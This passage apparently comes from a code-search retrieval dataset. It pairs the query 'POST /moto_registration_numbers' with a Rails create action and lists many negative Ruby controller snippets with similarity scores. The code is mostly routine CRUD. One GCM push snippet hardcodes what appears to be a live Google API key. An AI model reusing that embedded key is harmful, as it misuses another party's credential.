new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @inbound_email = InboundEmail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inbound_email }\n end\n end", "def new\n @personal_info = PersonalInfo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal_info }\n end\n end", "def new\n @family = Family.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @family }\n end\n end", "def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end", "def new\n @pneighbour = Pneighbour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pneighbour }\n end\n end", "def new\n @tipo_nota = TipoNota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_nota }\n end\n end", "def new\n @order = Order.new\n @order.number= Order.gen_number\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "def new\n @tnumber = Tnumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tnumber }\n end\n end", "def new\n @registration_status = RegistrationStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @registration_status }\n end\n end" ]
[ "0.7343106", "0.71727914", "0.68572235", "0.67511237", "0.6723272", "0.6723272", "0.6723272", "0.66050434", "0.65170324", "0.64593613", "0.64371705", "0.642602", "0.63808715", "0.6379689", "0.63650733", "0.6320624", "0.6313821", "0.629728", "0.6294342", "0.6283128", "0.62582225", "0.6246166", "0.6243965", "0.62398434", "0.6229852", "0.6228148", "0.6223644", "0.6212695", "0.62123793", "0.6202534", "0.6186029", "0.61681217", "0.6155733", "0.6155733", "0.61550456", "0.6143852", "0.6137974", "0.6134118", "0.613101", "0.61302954", "0.6126271", "0.6125053", "0.61175823", "0.6112214", "0.6108248", "0.61053914", "0.61047864", "0.6083504", "0.6081406", "0.60770124", "0.60768706", "0.6076469", "0.606895", "0.6048477", "0.6047778", "0.604591", "0.60447574", "0.6033247", "0.6028524", "0.60216725", "0.60163707", "0.60139537", "0.6013308", "0.60095006", "0.6008527", "0.60006696", "0.60001713", "0.59986705", "0.59981084", "0.5996417", "0.5996241", "0.5996024", "0.5996024", "0.5991869", "0.5983159", "0.59759253", "0.59755987", "0.5969208", "0.5964107", "0.59637976", "0.5963713", "0.5959776", "0.5956338", "0.5955943", "0.5955422", "0.5942785", "0.5942209", "0.59407556", "0.5937823", "0.5937745", "0.5937745", "0.5935726", "0.59353584", "0.59279424", "0.59270513", "0.59255993", "0.5924945", "0.5920971", "0.5920839", "0.5918994" ]
0.754073
0
POST /moto_registration_numbers POST /moto_registration_numbers.xml
def create @moto_registration_number = MotoRegistrationNumber.new(params[:moto_registration_number]) respond_to do |format| if @moto_registration_number.save format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully created.') } format.xml { render :xml => @moto_registration_number, :status => :created, :location => @moto_registration_number } else format.html { render :action => "new" } format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @registration_number = RegistrationNumber.new(params[:registration_number])\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to(@registration_number, :notice => 'Registration number was successfully created.') }\n format.xml { render :xml => @registration_number, :status => :created, :location => @registration_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @registration_number = RegistrationNumber.new(registration_number_params)\n\n respond_to do |format|\n if @registration_number.save\n format.html { redirect_to @registration_number, notice: 'Registration number was successfully created.' }\n format.json { render :show, status: :created, location: @registration_number }\n else\n format.html { render :new }\n format.json { render json: @registration_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @patientregistration_data = PatientregistrationData.new(params[:patientregistration_data])\n\n respond_to do |format|\n if @patientregistration_data.save\n\t\t@n=Number.find_by_names(\"reciept\")\n\t\t@n.value=@patientregistration_data.reciept_no\n\t\t@n.update_attributes(params[:n])\n format.html { redirect_to(\"http://localhost:3000/patientregistration_datas/new\") }\n format.xml { render :xml => @patientregistration_data, :status => :created, :location => @patientregistration_data }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @patientregistration_data.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_registration_number\n @registration_number = RegistrationNumber.find(params[:id])\n end", "def new\n @moto_registration_number = MotoRegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_registration_number }\n end\n end", "def create\n @request = Request.new(params[:request])\n\n registration_ids = []\n @request.num_phones = 0\n\n PhoneRegistration.all.each { |p|\n if p.device_ident != @request.requester_device_ident\n registration_ids.push(p.registration_ident)\n @request.num_phones = @request.num_phones + 1\n end\n }\n\n @request.status = \"active\"\n @request.num_errors = 0\n id = Request.all.size + 1\n\n\n gcm = GCM.new(\"api_key\")\n options = {data: {program: @request.intent_program, request_id: id}}\n# response = gcm.send_notification(registration_ids, options)\n\n respond_to do |format|\n if @request.save\n format.html { redirect_to @request, notice: 'Request was successfully created.' }\n format.json { render json: @request, status: :created, location: @request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create&param='\r\n register_path << stgu_json.to_s\r\n register_path << '&param=' + stgma_json.to_s\r\n register_path << '&param=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end", "def create\n p = params[:node_registration]\n \n @registration = NodeRegistration.new(latitude: p[:latitude],longitude: p[:longitude],\n operator_name: p[:operator_name], operator_email: p[:operator_email],\n name: p[:name], node_at: p[:node_at],notice: p[:notice],\n loc_str: p[:loc_str], osm_loc: p[:osm_loc])\n \n if permitted_to?(:set_owner, @registration)\n @registration.owner_id = p[:owner_id]\n else\n @registration.owner = current_user\n end\n @registration.creator = current_user\n @registration.updater = current_user\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to root_path, notice: 'Node erfolgreich registriert' }\n format.json { render json: @registration, status: :created, location: @registration }\n else\n format.html { render action: \"new\" }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @registration_numbers = RegistrationNumber.all\n end", "def register\n \n registration_service = DeviceRegistrationService.new\n registration_response = registration_service.register(registration_params)\n\n if registration_response[:success]\n render json: registration_response, status: :ok\n else\n render json: registration_response, status: :bad_request\n end\n end", "def destroy\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n @moto_registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(moto_registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def registration_number_params\n params.require(:registration_number).permit(:name, :state_id, :office)\n end", "def trust_registration_number; end", "def generate_account\n toll_free = @client.available_phone_numbers('US').toll_free.list(limit: 1)\n\n toll_free.each do |record|\n \n incoming_phone_number = @client.incoming_phone_numbers.create(phone_number: record.phone_number)\n\n puts incoming_phone_number.sid\n end\n\n \n end", "def new\n @registration_number = RegistrationNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @registration_number }\n end\n end", "def create\n @registration = Registration.new(registration_params)\n @registration.group_id = sortear_grupo(@registration.colonist_age, @registration.colonist_gender)\n \n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: \"Bienvenido a la familia Buena Onda. Ya estás pre-inscripto. No olvides pasar por el club [dirección] de (9) a (18) dentro de las próximas 72 hs para confirmar la inscripción de #{@registration.colonist_name} y abonar la inscripción.\" }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html { render :new }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n p = params[:registration]\n training = Training.find_by_code(p[:training_code])\n owner = Student.find_by_wp_email(p[:owner_email])\n reg_type = p[:reg_type]\n if reg_type == 'single-self'\n registerable = owner\n elsif reg_type == 'single-other'\n registerable = Student.find_by_wp_email(p[:registrant_email])\n else \n registerable = Group.find_by_handle(p[:group_handle])\n end\n @registration = Registration.new(reg_type: reg_type)\n @registration.owner = owner\n @registration.registerable = registerable\n @registration.training = training\n\n # Fix this. We need to have a sequence in the database.\n @registration.code = 100000 + rand(900000)\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: 'Registration was successfully created.' }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html do\n @trainings = Training.all\n render :new\n end\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n\n respond_to do |format|\n if @moto_registration_number.update_attributes(params[:moto_registration_number])\n format.html { redirect_to(@moto_registration_number, :notice => 'Moto registration number was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @moto_registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @registration = Registration.new(registration_params)\n\n if @registration.save\n @registration.generate_invoices\n\n render :show, status: :created\n else\n render json: @registration.errors.full_messages, status: :unprocessable_entity\n end\n end", "def get_registration\n path = self.api_root + '/register'\n process_firecloud_request(:get, path)\n end", "def create\n @registationData = params[:voter_records_request][:voter_registration]\n \t@nameRequestData = @registationData[:name]\n \t@addressRequestData = @registationData[:registration_address][:numbered_thoroughfare_address]\n \t@mailingAddressRequestData = @registationData[:mailing_address][:unstructured_thoroughfare_address]\n \t@dobRequestData = @registationData[:date_of_birth].split('-')\n \t\n \t\n @registration_request = RegistrationRequest.new\n \n \t#Name\n @registration_request.last_name = @nameRequestData[:last_name]\n @registration_request.first_name = @nameRequestData[:first_name]\n @registration_request.middle_name = @nameRequestData[:middle_name]\n \n #Gender\n @registration_request.gender = @registationData[:gender]\n \n #DOB\n @registration_request.dob_year = @dobRequestData[0]\n @registration_request.dob_month = @dobRequestData[1]\n @registration_request.dob_day = @dobRequestData[2]\n \n #Address\n @addressRequestData = @registationData[:registration_address][:numbered_thoroughfare_address]\n @registration_request.address_number = @addressRequestData[:complete_address_number][:address_number]\n #TODO\n #@registration_request.address_number_suffix =\n @registration_request.unit_number = @addressRequestData[:complete_sub_address][:sub_address]\n @registration_request.street_name = @addressRequestData[:complete_street_name][:street_name]\n @registration_request.street_type = @addressRequestData[:complete_street_name][:street_name_post_type]\n @registration_request.street_direction = @addressRequestData[:complete_street_name][:street_name_post_directional]\n #TODO\n #\"complete_place_names\": [\n # {\n # \"place_name_type\": \"MunicipalJurisdiction\",\n # \"place_name_value\": \"Stittsville\"\n # },\n # {\n # \"place_name_type\": \"County\",\n # \"place_name_value\": \"Carleton\"\n # }\n # ]\n #@registration_request.place =\n @registration_request.province = @addressRequestData[:state]\n @registration_request.postal_code = @addressRequestData[:zip_code]\n #TODO \n #@registration_request.rural_address_line = \n @registration_request.mailing_address_line_1 = @mailingAddressRequestData[:address_lines][0]\n @registration_request.mailing_address_line_2 = @mailingAddressRequestData[:address_lines][1]\n @registration_request.mailing_place = @mailingAddressRequestData[:complete_place_names][0][:place_name_value]\n @registration_request.mailing_province = @mailingAddressRequestData[:state]\n @registration_request.mailing_postal_code = @mailingAddressRequestData[:zip_code]\n #TODO\n #@registration_request.mailing_country_code =\n \n #Request state\n @registration_request.request_status = \"new\"\n @registration_request.request_date = Date.parse(params[:voter_records_request][:generated_date])\n #TODO\n #@registration_request.request_uid = \n @registration_request.modify_date = Date.today\n\n if @registration_request.save\n render json: {\n\t\t\tvoter_records_response: {\n\t\t\t\tregistration_acknowledgement:\"\"\n\t\t\t\t}\t\n\t\t\t}\n else\n render json: {\n \t\tvoter_records_response: {\n \t\t\tregistration_rejection: {\n \t\t\terror:\"other\",\n\t\t\t\t\tother_error:\"description of error\"}\n \t\t\t}\n \t\t}\n end\n end", "def create\n @device = Device.new(device_params)\n \n puts @device.email\n api_key = Api.first.api_key\n device_id = []\n device_id.push(@device.device_id)\n\n participants = Participant.all\n participants.each do |participant|\n\n\tif @device.email.eql? participant.email\n\t\t@device.hasRegistered = true\n\tend\n end\n\n respond_to do |format|\n if @device.save\n\t\n\tgcm = GCM.new(api_key)\n\toptions = {data: {title:\"Welcome!\",content:\"Your device has been registered!\",time_stamp:Time.now.to_s,type:0}}\n\tresponse = gcm.send(device_id,options)\n\tputs response[:body]\n\t\n\tnotifications = Notification.where(\"DATE(created_at) <= ?\",Date.today)\n\t\n\tnotifications.each do |notification|\n\t\tputs notification.title+\"/n\"\n\t\ttype = 0\n\t\tif notification.type_of_notification == true\n\t\t\ttype = 1\n\t\tend\n\t\toptions = {data:{title:notification.title,content:notification.content,time_stamp:notification.created_at.to_s,type:type}}\n\t\tresponse = gcm.send(device_id,options)\n\t\tputs response[:body]\n\tend\n puts \"-------------------------------------------------------------------------------------------------------------------------------------\\n----------------------------------------------------\\n-----------------------------------------\"\n\tformat.html { redirect_to @device, notice: 'Device was successfully created.' }\n format.json { render :show, status: 201, location: @device }\n else\n format.html { render :new }\n format.json { render json: @device.errors, status: :unprocessable_entity }\n end\n end\n end", "def register_params\n params[:register][:number] = \"#{params[:register][:number_1]}-#{params[:register][:number_2]}-#{params[:register][:number_3]}\"\n 3.times{ |i| params[:register].delete(\"number_#{i+1}\".intern) }\n puts params\n params.require(:register).permit(:name, :number, :range, :time, :todo)\n end", "def create\n @registration = Registration.new(registration_params)\n\n respond_to do |format|\n if @registration.save\n if @registration.members.any?\n @registration.members.each do |member|\n RemindMailer.content(member.email, member.name).deliver\n end\n end\n format.html { redirect_to registration_path(@registration), notice: '報名成功' }\n format.json { render action: :show, status: :created, location: @registration }\n else\n format.html { render action: :new }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def registerpush\n response = {:success => \"false\"}\n @current_user = User.find_by_access_token(params[:access_token].to_s)\n if @current_user.nil?\n response = {:success => \"false\"}\n else\n @current_user.update_attribute('device_token', params[:device_token].to_s)\n response = {:success => \"true\"}\n end\n \n respond_to do |format|\n format.xml { render :xml => response.to_xml }\n format.json { render :json => response.to_json }\n end\n \n end", "def post_insert_page_numbers(request)\n data, _status_code, _headers = post_insert_page_numbers_with_http_info(request)\n request_token if _status_code == 401\n data\n end", "def create\n @registration = Registration.new(params[:registration])\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to(@registration, :notice => 'Registration was successfully created.') }\n format.xml { render :xml => @registration, :status => :created, :location => @registration }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @registration_number = RegistrationNumber.find(params[:id])\n @registration_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(registration_numbers_url) }\n format.xml { head :ok }\n end\n end", "def create\n @number = Number.new(number_params)\n\n if !@number.business_number.blank?\n @number.business_number = \"+1\"+Phony.normalize(@number.business_number) \n end\n\n begin \n @client = Twilio::REST::Client.new BwCallTracking::Application.config.account_sid, BwCallTracking::Application.config.auth_token \n number = @client.account.incoming_phone_numbers.create(:area_code => @number.area_code[1..3], :voice_url => BwCallTracking::Application.config.voice_url, :status_callback => BwCallTracking::Application.config.voice_url)\n @number.tracking_number = number.phone_number\n rescue StandardError => e\n puts \"ERROR: \"+e.message \n end \n\n respond_to do |format|\n if @number.save\n format.html { redirect_to numbers_url, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration_params\n params.require(:registration).permit(:id, :user_id, :registration_id, :device_name)\n end", "def create\n @registration = Registration.new(params[:registration])\n\n respond_to do |format|\n begin\n proxy_ticket = PatientStudyCalendar::Resources::Resource.request_proxy_ticket(session[:cas_pgt])\n @registration.save_with_psc!(@patient, :subject_coordinator_name => session[:cas_user], :proxy_ticket => proxy_ticket)\n flash[:notice] = 'Registration was successfully created.'\n format.html { redirect_to(@registration.registration_assignment_url) }\n format.xml { render :xml => @registration, :status => :created, :location => patient_url(@patient) }\n rescue Exception => e\n unless @registration.new_record?\n @registration = Registration.new()\n end\n @registration.errors.add(:id, \"There was a problem communicating to the Patient Study Calendar Application.\")\n RAILS_DEFAULT_LOGGER.error(\"Registration create failed: #{e}\")\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end", "def start_registration\r\n \r\n end", "def setRegistrationId\n if (params.has_key?(:device_uid) && params.has_key?(:regid))\n device = Device.find_by_uuid(params[:device_uid])\n device.gcm_id = params[:regid]\n device.save\n render status: 200, text: \"\"\n else\n render status: 400, text: \"\"\n end\n end", "def show\n @moto_registration_number = MotoRegistrationNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @moto_registration_number }\n end\n end", "def create\n @device_registration = DeviceRegistration.new(device_registration_params)\n\n respond_to do |format|\n if @device_registration.save\n format.html { redirect_to @device_registration, notice: 'Device registration was successfully created.' }\n format.json { render :show, status: :created, location: @device_registration }\n else\n format.html { render :new }\n format.json { render json: @device_registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def registration_params\n params.require(:registration).permit(:Registration_id, :group_id, \n :registerable_type, :paid_for,\n :training_id, :code, :amt_paid, :sign_up_date, :auth_code, :refunded,\n :training_code, :owner_email, :reg_type, :registrant_email, :group_handle)\n end", "def create\n @pass = Passbook::Pass.where(pass_type_identifier: params[:pass_type_identifier], serial_number: params[:serial_number]).first\n head :not_found and return if @pass.nil?\n head :unauthorized and return if request.env['HTTP_AUTHORIZATION'] != \"ApplePass #{@pass.authentication_token}\"\n\n @registration = @pass.registrations.where(device_library_identifier: params[:device_library_identifier]).first_or_initialize\n @registration.push_token = params[:pushToken]\n\n status = @registration.new_record? ? :created : :ok\n\n @registration.save\n\n head status\n end", "def create\n @myregistration = Myregistration.new(myregistration_params)\n\n respond_to do |format|\n if @myregistration.save\n format.html { redirect_to @myregistration, notice: 'Myregistration was successfully created.' }\n format.json { render :show, status: :created, location: @myregistration }\n else\n format.html { render :new }\n format.json { render json: @myregistration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @phone_number = @kontact_information.phone_numbers.build(params[:phone_number])\n respond_to do |format|\n if @phone_number.save\n flash[:notice] = 'Phone number was successfully created.'\n format.html { redirect_to(@phone_number) }\n format.mobile {redirect_to profile_kontact_kontact_information_plural_fields_path(@profile, @kontact)}\n format.xml { render :xml => @phone_number, :status => :created, :location => @phone_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @phone_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def register_visit\r\n if @debug\r\n puts \"REQUEST IN REGISTER VISIT: #{request}\"\r\n puts \"BODY REQUEST: #{request.body}\"\r\n puts \"AUTH REQUEST: #{request.authorization}\"\r\n puts \"LENGTH REQUEST: #{request.content_length}\"\r\n puts \"FORM DATA REQUEST: #{request.form_data?}\"\r\n puts \"FULLPATH REQUEST: #{request.fullpath}\"\r\n puts \"HEADERS REQUEST: #{request.headers}\"\r\n puts \"IP REQUEST: #{request.ip}\"\r\n puts \"REQUEST IP ADDRESS: #{request['ip_address']}\"\r\n puts \"REQUEST REMOTE IP: #{request['remote_ip']}\"\r\n end\r\n response = @mints_pub.register_visit(request)\r\n if @debug\r\n puts \"RESPONSE IN REGISTER VISIT: #{response}\"\r\n end\r\n @contact_token = response['contact_token'] ? response['contact_token'] : response['user_token']\r\n @visit_id = response['visit_id']\r\n if @debug\r\n puts \"VISIT ID: #{@visit_id}\"\r\n end\r\n cookies.permanent[:mints_contact_id] = { value: @contact_token, secure: true, httponly: true }\r\n cookies.permanent[:mints_visit_id] = { value: @visit_id, secure: true, httponly: true }\r\n end", "def update\n respond_to do |format|\n if @registration_number.update(registration_number_params)\n format.html { redirect_to @registration_number, notice: 'Registration number was successfully updated.' }\n format.json { render :show, status: :ok, location: @registration_number }\n else\n format.html { render :edit }\n format.json { render json: @registration_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def verifyphonenumber\n tc = Twilio::REST::Client.new tsid, tauthtoken\n # Ref: https://www.twilio.com/docs/api/rest/outgoing-caller-ids\n call_delay_in_sec = 45 # Can be 0 to 60 seconds\n caller_id = tc.outgoing_caller_ids.create(:phone_number => params[:PhoneNumber], :call_delay => call_delay_in_sec)\n respond_to do |format|\n format.json { render :json => {:verification_code => caller_id.validation_code},\n :status => :ok }\n end\n end", "def new\n @registration = NodeRegistration.new\n node_id = params[:node]\n \n if(mac = params[:node_mac])\n mac.gsub!(/[^A-Fa-f0-9]/,'')\n node_id = mac.to_i(16)\n logger.info \"Got node-id: #{node_id}\"\n end\n\n node = Node.find_by_id(node_id) || Node.new(id: node_id)\n \n if(node && node.node_registration.present?)\n flash[:error] = \"Fehler: Der Node #{node.mac} ist bereits registriert.\"\n redirect_to app_index_path\n return\n end\n\n @registration.node = node\n @registration.owner = current_user\n @registration.osm_loc = \"Suchbegriff\"\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration }\n end\n end", "def register(device_token)\n client.post('/register', device_token: device_token)\n end", "def create\n @registration = Registration.new(registration_params)\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: \"Registration was successfully created.\" }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n call_params = user_taxi_call_params\n\n previous_call = UserTaxiCall.where(user_id: call_params[:user_id], pending: true).first\n @user_taxi_call = UserTaxiCall.new(call_params)\n\n\n respond_to do |format|\n if previous_call.nil? && @user_taxi_call.save!\n notification = Rpush::Gcm::Notification.new\n regid = []\n\n client_user = User.find(call_params[:user_id])\n\n if @user_taxi_call.direct_call\n taxi_user = Taxi.find(call_params[:taxi_id]).user\n regid = [taxi_user.registration_id]\n else\n taxi_users = client_user.nearbys(6.21371)\n regid = []\n taxi_users.to_a.each do |u|\n if !u.registration_id.nil? && !u.taxi.nil?\n regid.push u.registration_id\n end\n end\n end\n\n if !regid.nil? && !regid.empty?\n notification.app = Rpush::Gcm::App.find_by_name(\"Taxi Tapp GCM\")\n notification.registration_ids = regid\n\n notification.data = {\n message: client_user.get_full_name + \" is looking for a cab!\",\n call_id: @user_taxi_call.id,\n user_id: @user_taxi_call.user_id,\n latitude: @user_taxi_call.latitude,\n longitude: @user_taxi_call.longitude\n }\n\n notification.save!\n Rpush.push\n end\n\n format.html { redirect_to @user_taxi_call, notice: 'User taxi call was successfully created.' }\n format.json { render :show, status: :created, location: @user_taxi_call }\n else\n format.html { render :new }\n format.json { render json: @user_taxi_call.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @people_number = PeopleNumber.new(people_number_params)\n\n respond_to do |format|\n if @people_number.save\n format.html { redirect_to @people_number, notice: 'People number was successfully created.' }\n format.json { render :show, status: :created, location: @people_number }\n else\n format.html { render :new }\n format.json { render json: @people_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_gcm_message(title, body, reg_tokens)\n # Construct JSON payload\n post_args = {\n # :to field can also be used if there is only 1 reg token to send\n :registration_ids => reg_tokens,\n :notification => {\n :title => \"You look has been voted on\",\n :body => \"Check out the results!\"\n }\n }\n \n print post_args \n\n # Send the request with JSON args and headers\n RestClient.post 'https://gcm-http.googleapis.com/gcm/send', post_args.to_json,\n :Authorization => 'key=AIzaSyC0EVhbTNqgr69Pr8pWEdPDe5SSSIWhaU0', :content_type => :json, :accept => :json\nend", "def registration_requests\n # TODO: generate a request for each supported version\n [RegisterRequest.new(challenge)]\n end", "def create\n @registration = Registration.new(registration_params)\n @registration.employee_id = current_user.id\n respond_to do |format|\n if @registration.save\n format.html { redirect_to member_path(@registration.member_id), notice: 'Registration was successfully created.' }\n else\n @member = Member.find(@registration.member_id)\n format.html { render :new }\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @newsletter_registrations = NewsletterRegistration.new(params[:newsletter_registration])\n\n respond_to do |format|\n if @newsletter_registrations.save\n flash[:success] = 'Te has registrado para el newsletter.'\n format.html { redirect_to(root_path, :param => \"nueva_registracion_de_newsletter\") }\n format.xml { render :xml => @newsletter_registrations, :status => :created, :location => @newsletter_registrations }\n else\n format.html { redirect_to(root_path) }\n format.xml { render :xml => @newsletter_registrations.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @registration_code = RegistrationCode.new(params[:registration_code])\n\n respond_to do |format|\n if @registration_code.save\n format.html { redirect_to(registration_codes_path, :notice => 'RegistrationCode was successfully created.') }\n format.xml { render :xml => @registration_code, :status => :created, :location => @registration_code }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration_code.errors, :status => :unprocessable_entity }\n end\n end\n end", "def send_digits(params)\n path = @version + '/Call/SendDigits/'\n method = 'POST'\n return request(path, method, params)\n end", "def registration_params\n params.require(:registration).permit(:member_id, :seat_number, :start_date, :end_date, :employee_id)\n end", "def update\n @registration_number = RegistrationNumber.find(params[:id])\n\n respond_to do |format|\n if @registration_number.update_attributes(params[:registration_number])\n format.html { redirect_to(@registration_number, :notice => 'Registration number was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @registration_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def field_register_pharmacy(pharm_number,pharm_contact_name,staff_phone_number)\n pharm_number = standardize_number(pharm_number[0])\n\n #check to make sure this number is not already registered\n phone_number_in_db = Number.where(:id => pharm_number)\n if phone_number_in_db.count > 0\n send_try_again_sms(staff_phone_number,\"This number is already registered to pharmacy #{phone_number_in_db.first.pharmacy_id}\")\n return nil\n end\n\n\n Pharmacy.insert(:preferred_number_id => pharm_number,\n :name => pharm_contact_name)\n pid = Pharmacy.where(:preferred_number_id => pharm_number).first.id\n\n Number.insert(\n :id => pharm_number,\n :pharmacy_id => pid,\n :call_this_number => 1,\n :created_at => Time.now\n )\n\n #settings so we dont call em\n PendingCall.insert(\n :number_id => pharm_number,\n :attempts => $max_ors_attempts,\n :error_message_sent => 1\n )\n\n # Default start and end time for pharmacies\n AvailableTime.insert(\n :pharmacy_id => pid,\n :start_time => \"09:00:00\",\n :end_time => \"21:00:00\"\n )\n\n sms_message_confirmation = \"Registration successful. Pharmacy ID number is #{pid}\"\n $stderr.puts \"sending reg confirmation to to #{staff_phone_number}\"\n\n $client.account.sms.messages.create(\n :from => $sms_out_number,\n :to => staff_phone_number,\n :body => sms_message_confirmation)\n #send message to user\n $stderr.puts \"sending reg confirmation to to #{pharm_number}\"\n $client.account.sms.messages.create(\n :from => $sms_out_number,\n :to => pharm_number,\n :body => \"Welcome to bangpharma. Your pharmacy ID is #{pid}.\")\n\n return nil\nend", "def create\n @alarm = Alarm.new(alarm_params)\n @alarm.group_id = params[:group_id]\n\n users = Array.new\n group = Group.find(params[:group_id])\n members = group.members\n members.each do |member|\n users.push User.find(member.user_id)\n end \n # GCM send\n destination = Array.new\n users.each do |user|\n destination.push user.regid\n puts user.regid\n end\n string = \"alarm\"\n @alarm\n hour = @alarm.time.strftime(\"%H\")\n min = @alarm.time.strftime(\"%M\")\n title = @alarm.title\n data = {\n message: string,\n hour: hour,\n min: min,\n title: title\n }\n\n GCM.send_notification( destination, data )\n\n respond_to do |format|\n if @alarm.save\n format.html { redirect_to group_alarms_path, notice: 'アラームが作成されました' }\n format.json { render :show, status: :created, location: @alarm }\n else\n format.html { render :new }\n format.json { render json: @alarm.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request = Request.find(params[:id])\n\n registration_ids = []\n\n PhoneRegistration.all.each { |p|\n if p.device_ident == @request.requester_device_ident\n registration_ids = [p.registration_ident]\n break\n end\n }\n\n if registration_ids == []\n raise Exception, \"No matching registration id for device id\"\n end\n\n id = params[:id]\n r_num_errors = @request.num_errors\n params[:request][\"num_errors\"] = @request.num_errors\n status = @request.status\n\n if params[:request][\"output\"].empty? == false and @request.status = \"active\"\n params[:request][\"status\"] = \"success\"\n status = params[:request][\"status\"]\n output = params[:request][\"output\"]\n\n gcm = GCM.new(\"api_key\")\n options = 